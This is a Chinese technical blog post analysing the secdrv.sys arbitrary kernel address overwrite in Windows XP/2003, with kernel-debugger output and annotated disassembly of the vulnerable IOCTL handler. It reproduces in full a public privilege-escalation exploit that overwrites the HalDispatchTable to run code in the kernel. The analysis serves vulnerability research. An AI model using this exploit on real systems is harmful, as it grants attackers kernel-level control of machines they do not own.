[Ph4nt0m]_secdrv.sys任意kernel地址覆盖漏洞浅析(0day)
2008-04-01 08:11:14
secdrv.sys任意kernel地址覆盖漏洞浅析(0day) 本文出自 51CTO.COM技术博客by flyingkisser 前言: 这几天忙着找工作,没及时看安全公告,这个0day出了好几天才知道, 并且等我想分析时,才发现poc已经出来了。 Anyway,还是把分析过程写一写吧,尽管没什么技术含量, 这里我只分析了主要的地方,也只说说关键的。 1.什么是secdrv.sys secdrv.sys,不知道是干什么的,也懒得去google了,我只发现xp的默认安装 有这个文件,位于%systemroot%\system32\drivers\,并且,我的机器默认没有 加载这个驱动,我也不清楚什么条件下系统会加载这个驱动。 2.分析这个漏洞前的准备 a.加载这个驱动,并run(我用的是kmdmanager.exe) b.开kd(这里就不用softice动态跟了,因为我的虚拟机一运行softice,主机的cpu使用率就100%, 如果有人知道为什么,麻烦来信告诉我)) kd> !object \Driver\ 在茫茫信息中找到 18 81218c08 Driver secdrv kd> dt nt!_driver_object 81218c08 MajorFunction nt!_DRIVER_OBJECT +0x038 MajorFunction : [28] 0xfaf38f28 +0 kd> dd 81218c08+38+e*4 l1 81218c78 faf38f28 (因为IRP_MJ_DEVICE_CONTROL=e) 因此得知这个驱动对象的Irp的Dispatch函数地址是faf38f28 下面,我们直接看看这个Dispatch函数的内部实现就行了 3.Dispatch函数的内部实现 首先,通过POC我已经知道发生问题的io control code是0xCA002813 io control code的格式如下: ------------------------------------------------------- | Bit31-Bit16 | Bit15,Bit14 | Bit14-Bit2 | Bit1,Bit0 | ------------------------------------------------------- | DeviceType | Access | Function | Method | ------------------------------------------------------- 0xCA002813最后一个字节是13,即bit1,bit0是11,所以使用的Method是METHOD_NEITHER, 即i/o管理器对DeviceIoControl 提供的输入缓冲区和输出缓冲区的内容不进行额外的复制, 即输入缓存区和输出缓冲区都是ring3调用入栈的地址。这时: InputBuf位于IO_STACK_LOCATION结构的Parameters.DeviceIoControl.Type3InputBuffer成员中 OutputBuf位于_Irp结构的UserBuffer成员中 下面来看这个Dispatch函数内部关键的汇编代码 faf38e2c 817df0132800ca cmp dword ptr [ebp-10h],0CA002813h ;0xCA002813 faf38e33 7434 je secdrv+0x5e69 (faf38e69) ;according to poc,this is the MAGIC_IOCTL,need to jump faf38e69 8b450c mov eax,dword ptr [ebp+0Ch] ;eax=&pIrp->IoStatus faf38e6c 832000 and dword ptr [eax],0 ;pIrp->IoStatus->Status=0 faf38e6f 8b450c mov eax,dword ptr [ebp+0Ch] faf38e72 83600400 and dword ptr [eax+4],0 ;pIrp->IoStatus->Information=0 faf38e76 8b45e8 mov eax,dword ptr [ebp-18h] ;pIrp->CurrentStackLocation faf38e79 8b4010 mov eax,dword ptr [eax+10h] ;eax=csl->Parameters->DeviceIoControl->Type3InputBuffer faf38e7c 8945f4 mov dword ptr [ebp-0Ch],eax faf38e7f 8b45e8 mov eax,dword ptr [ebp-18h] faf38e82 8b4008 mov eax,dword ptr [eax+8] faf38e85 8945ec mov dword ptr [ebp-14h],eax ;eax=csl->Parameters->DeviceIoControl->InputBufferLength faf38e88 8b45e8 mov eax,dword ptr [ebp-18h] faf38e8b 8b4004 mov eax,dword ptr [eax+4] faf38e8e 8945fc mov dword ptr [ebp-4],eax ;eax=csl->Parameters->DeviceIoControl->OutputBufferLength faf38e91 8b45ec mov eax,dword ptr [ebp-14h] faf38e94 3b45fc cmp eax,dword ptr [ebp-4] ; faf38e97 7417 je secdrv+0x5eb0 (faf38eb0) ;need to jump ;if(csl->Parameters->DeviceIoControl->OutputBufferLength==csl->Parameters->DeviceIoControl->InputBufferLength) ;jump here ;即输入Buf和输出Buf的长度需要相等才行 faf38eb0 8b45f4 mov eax,dword ptr [ebp-0Ch] ;eax=csl->Parameters->DeviceIoControl->Type3InputBuffer ;short for InBuf faf38eb3 8945f8 mov dword ptr [ebp-8],eax faf38eb6 8b45f8 mov eax,dword ptr [ebp-8] faf38eb9 ff700c push dword ptr [eax+0Ch] ;InBuf[3] faf38ebc 8b45f4 mov eax,dword ptr [ebp-0Ch] faf38ebf 83c010 add eax,10h faf38ec2 50 push eax ;&InBuf[4] faf38ec3 ff35e891f3fa push dword ptr [secdrv+0x61e8 (faf391e8)]; faf38ec9 8b45f8 mov eax,dword ptr [ebp-8] faf38ecc ff7004 push dword ptr [eax+4] ;InBuf[1] faf38ecf 8b45f8 mov eax,dword ptr [ebp-8] faf38ed2 ff30 push dword ptr [eax] ;InBuf[0] faf38ed4 a1e891f3fa mov eax,dword ptr [secdrv+0x61e8 (faf391e8)]; faf38ed9 ff5010 call dword ptr [eax+10h] ;[eax+10h]=faf380ba ;stub_faf380ba(InBuf[0],InBuf[1],dword ptr [secdrv+0x61e8 (faf391e8)],&InBuf[4],InBuf[3]) ;这个函数调用是对一些参数进行检测,如inBuf[1]必须是96h,这个检测函数的内部就不往下跟了,内容不少 faf38edc 8945e4 mov dword ptr [ebp-1Ch],eax ;must return 0ah faf38edf 837de40a cmp dword ptr [ebp-1Ch],0Ah ; faf38ee3 7417 je secdrv+0x5efc (faf38efc) ;need jump ;!!!!!!!!!!!!!!!!!!!!!!!漏洞发生的地方!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ;if(stub_faf380ba()==0ah),jump here ;------this is what we called vulnerable,write any address by any value ;这里把InputBuf的内容覆盖到OutBuf中,而InputBuf和OutBuf的内容又是我们可以控制的,所以,可以发挥想象力了 faf38efc 8b4dfc mov ecx,dword ptr [ebp-4] ;ecx=csl->Parameters->DeviceIoControl->OutputBufferLength faf38eff 8b75f4 mov esi,dword ptr [ebp-0Ch] ;esi=csl->Parameters->DeviceIoControl->Type3InputBuffer faf38f02 8b4508 mov eax,dword ptr [ebp+8] ;eax=pIrp faf38f05 8b783c mov edi,dword ptr [eax+3Ch] ;edi=pIrp->UserBuffer faf38f08 8bc1 mov eax,ecx ;eax=csl->Parameters->DeviceIoControl->OutputBufferLength faf38f0a c1e902 shr ecx,2 faf38f0d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] faf38f0f 8bc8 mov ecx,eax faf38f11 83e103 and ecx,3 faf38f14 f3a4 rep movs byte ptr es:[edi],byte ptr [esi] 4.总结 secdrv.sys对外开放出一个ioctl的接口,ring3可直接使用DeviceIoControl调用这个接口。 这个接口的主要作用是把输入缓冲区的内容复制到输出缓冲出中,当然 输入缓冲区的内容和输出缓冲区的内容都是我们可以控制的。 所以,我们可以使用任意内容覆盖任意地址,这里,因为在kernel中我们的权限是至高无上的,因此使用适当的 内容去覆盖kernel中的内存,便可以实现提权,这里,shellcode和覆盖kernel中的哪块内存不是本文的讨论重点, 请参看下面给出的poc 5.poc from http://www.securityfocus.com/archive/1/482482 /////////////////////////////////////////////////////// /////////////////////////////////////////////////////// //// //// Macrovision Safedisc secdrv.sys //// Privilege Escalation Exploit XP SP2 && 2003 //// --------------------------------------------- //// This code can only be used for personal study //// and research purposes. //// --------------------------------------------- //// Copy secdrv_plugin.dll to '{kartoffel}\plugins' //// > kartoffel.exe -D secdrv_plugin //// --------------------------------------------- //// Ruben Santamarta //// www.reversemode.com //// kartoffel.reversemode.com //// #include "stdafx.h" #define MAGIC_IOCTL 0xCA002813 #define IMAGEBASE 0x400000 typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, *PKPROFILE_SOURCE; typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource, PULONG Interval ); BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { return TRUE; } _declspec(naked) int ShellCode() { _asm{ mov eax,0xC0000138 retn 0x10 } } int Callback_Overview() { printf("\n"); printf("================================================= \n"); printf(" Macrovision SafeDisc \n"); printf(" SecDrv.sys Privilege Escalation Exploit \n"); printf(" XP SP2 && 2003\n"); printf("================================================= \n"); printf("+ K-plugin by: \n"); printf(" Ruben Santamarta \n"); printf("+ References:\n"); printf(" www.macrovision.com\n"); printf(" www..symantec.com/enterprise/security_response/weblog/2007/10/privilege_escalation_exploit_i.html\n"); printf(" www.reversemode.com\n\n"); return 1; } int Callback_Direct( char *lpInitStr ) { PNTQUERYINTERVAL NtQueryIntervalProfile; KPROFILE_SOURCE stProfile = ProfileTotalIssues; ULONG_PTR xHalQuerySystemInformation; ULONG_PTR HalDispatchTable; ULONG_PTR HalOffset2; ULONG_PTR HalOffset3; ULONG_PTR BaseNt=0; ULONG_PTR result; ULONG_PTR inBuff[4]; WCHAR **lpDevices = NULL; HANDLE hDevice; HMODULE hKernel; char szNtos[MAX_PATH]; DWORD dwNum = 0,i = 0, b=0,junk; int status=0; Callback_Overview(); printf("\n[+] Checking device..."); hDevice = OpenDevice(L"\\\\.\\SecDrv", TRUE, FALSE, FALSE, 0, 0); if( hDevice == INVALID_HANDLE_VALUE ) { printf("Failed!\n\n try \"kartoffel.exe -q c:\\windows\\system32\\drivers\\secdrv.sys,exploiting\" before executing the exploit.\n\n"); return FALSE; } printf("OK\n"); if( GetDriverInfoByName("krnl",szNtos,&BaseNt) ) { printf("[+] %s loaded at \t [ 0x%p ]\n",szNtos,BaseNt); } else { printf("[!!] Kernel not found :?\n"); return FALSE; } if( strstr(szNtos,"krnlpa") ) { hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1); } else { hKernel = LoadLibraryExA("ntoskrnl.exe",0,1); } HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable"); if( !HalDispatchTable ) { printf("[!!] HalDispatchTable not found\n"); return FALSE; } xHalQuerySystemInformation = *(ULONG_PTR*)(HalDispatchTable+sizeof(ULONG_PTR)); xHalQuerySystemInformation -= IMAGEBASE; xHalQuerySystemInformation += BaseNt; HalOffset2 =*(ULONG_PTR*)(HalDispatchTable-sizeof(ULONG_PTR)); HalOffset2 -= IMAGEBASE; HalOffset2 += BaseNt; HalOffset3 =*(ULONG_PTR*)(HalDispatchTable+sizeof(ULONG_PTR)*2); HalOffset3 -= IMAGEBASE; HalOffset3 += BaseNt; HalDispatchTable -= ( ULONG_PTR )hKernel; HalDispatchTable += BaseNt; printf("[+] HalDispatchTable found \t\t\t [ 0x%p ]\n",HalDispatchTable); printf("[+] xHalQuerySystemInformation() \t\t [ 0x%p ]\n",xHalQuerySystemInformation); printf("[+] NtQueryIntervalProfile "); NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if( !NtQueryIntervalProfile ) { printf("[!!] Unable to resolve NtQueryIntervalProfile\n"); return FALSE; } printf( "\t\t\t [ 0x%p ]\n",NtQueryIntervalProfile ); inBuff[0] = HalOffset2; inBuff[1] = 0x96; inBuff[2] = (ULONG_PTR)ShellCode; inBuff[3] = HalOffset3; printf("[+] Input Buffer:\n"); printf("\t [0] -> 0x%p\n",HalOffset2); printf("\t [1] -> 0x%p\n",(ULONG_PTR)0x96); printf("\t [2] -> 0x%p\n",(ULONG_PTR)ShellCode); printf("\t [3] -> 0x%p\n",HalOffset3); printf("[+] Sending malformed request..."); DeviceIoControl(hDevice, MAGIC_IOCTL, (LPVOID)inBuff,0x10, (LPVOID)(HalDispatchTable-sizeof(ULONG_PTR)),0x10, &junk, NULL); printf("OK\n"); printf("[+] Executing shellcode..."); Sleep(3000); NtQueryIntervalProfile(stProfile,&result); printf("OK\n"); printf("[+] Exiting...\n"); CloseHandle(hDevice); return status; } |



beansprouts
博客统计信息
热门文章
最新评论
友情链接
